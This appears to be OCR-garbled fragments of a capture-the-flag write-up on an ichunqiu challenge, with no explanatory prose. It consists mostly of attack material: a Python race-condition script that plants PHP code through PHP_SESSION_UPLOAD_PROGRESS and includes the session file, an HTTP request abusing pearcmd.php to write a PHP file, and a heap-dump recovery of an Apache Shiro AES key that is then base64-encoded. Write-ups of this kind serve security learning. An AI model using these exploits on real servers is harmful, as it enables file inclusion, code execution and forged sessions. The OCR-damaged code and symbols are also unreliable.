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public static function penderTo(
= strtolower(__ _MODULE_ );

= 'view-"'. ' '.basename(

if (basename( ) "Jump.html') {

= 'view-jump.html.php';

= PATH_VIEWC.'/'. £
if (APP_DEBUG || !'file exists( ) || filemtime( ) < filemtime
= self::comp(file get contents( ) )
file put_contents( s );
}
extract( )
include 5
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public static function assign(
if ( I= '") self::
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import threading
import requests
from concurrent futures import ThreadPoolExecutor, wait

target = 'http://eci-2zej1goyn9jh85zrihq7.cloudecit.ichungiu.com/index.php'
session = requests.session()
flag = 'helloworld'

def upload(e: threading.Event):
files = |
(file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf"'<?php file_put_contents('/tmp/meteo4’, '<?="Is /'?>"); echo('{flag}'); ?>""}

while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID": flag},

def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?name=cfile&value=/tmp/sess_{flag}'

if flag.encode() in response.content:
e.set()

if _name__ =='_main_ "
futures =[]
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))

for i in range(5):
futures.append(pool.submit(write, event))

wait(futures)
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1 GET /?name=cfi1e&va1ue=/usr/local/lib/php/pekrcmd.php&+config—create+/&f<?=
highlight_file(' /ffffffffld4gggeeeeld’ ) ?>+/tmp/hello. php HITP/1.1
2 Host: eci-2zed0jm526v23mdhgis6. cloudecil. ichunqiu. com

2 Cache—Control: max—age=0
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| L. & burpsuite_pro_v2020.9. 1. jar (pid 1880

48 Remote £ Objects w Preset: All Objectsw Ageregation: [} ) @ Details: [ Preview 3§ Fields B References fi] GC Root G| Hierarchy (5]
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B W Coredunps Name Count Size Retained (sort to get

@8 JFR Snapshots . )

-] Snapshots e fyEdeldsy
- ﬁ static <classLoader> = @ org. springframework, boot. loader.  LaunchedURLClassLoader# 163 B (0 n/a
[+ ¥ cipherService = @ org.apache. shiro.crypto. AesCipherService#l 101 B (0%) n/a
[+~ ¥ cookie = @ org. apache. shiro.web. servlet.  SimpleCookie#l 4B (0 n/a
(- ¥ static log = @ ch.qos. logback. classic. Logger#238 69B (0% n/a

“ decryptionCipherKey =[] byte[]#1494 16 items
¥ [0] = O byte 25 = =
¥ (1] = @ byte 56 = o
R [2] = O byte -57 = -
-~ ¥ [3] =@ byte 73 - >
- 3 [4] =@ byte 111 _ _
- W [5] =@ byte 12 = =
2 (6] =@ byte 81 - -
¥ [7] = @ byte 57 - -
R [8] = byte 36 - -
R4 [9] = O byte 114 - -
- % [10] = @ byte 15 - -
- % [11] = @ byte 13 - -
- % [12] = O byte 84 - -
¥ [13] = @ byte -56 - -
R [14] = © byte -96 = =
¥ [15] = O byte -89 - -
(= ¥ encryptionCipherKey =[] byte[1#1494 : 16 itens 40 B (0% n/a
-~ %4 [0] = O byte 25 - -
- % [1] = O byte 56 - -
- ¥ [2] = @ byte —57 - -

< >
ALl Objects (filtered) o (&) CookieRememberMeM # ) 0 CookieR #1 & ) <fields> # » M decryptionCipherkey # )
Class Filter: | shiro. web. mgt v]v Wrike | S o | X
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import base64

import struct

str= base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb',25,56,-57,73,111,12,-81,57,36,114,15,13,84,-56,-96,-89))
print(str)
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lag{daecb3cd-9966-43be-bf23-e7bda9154321}
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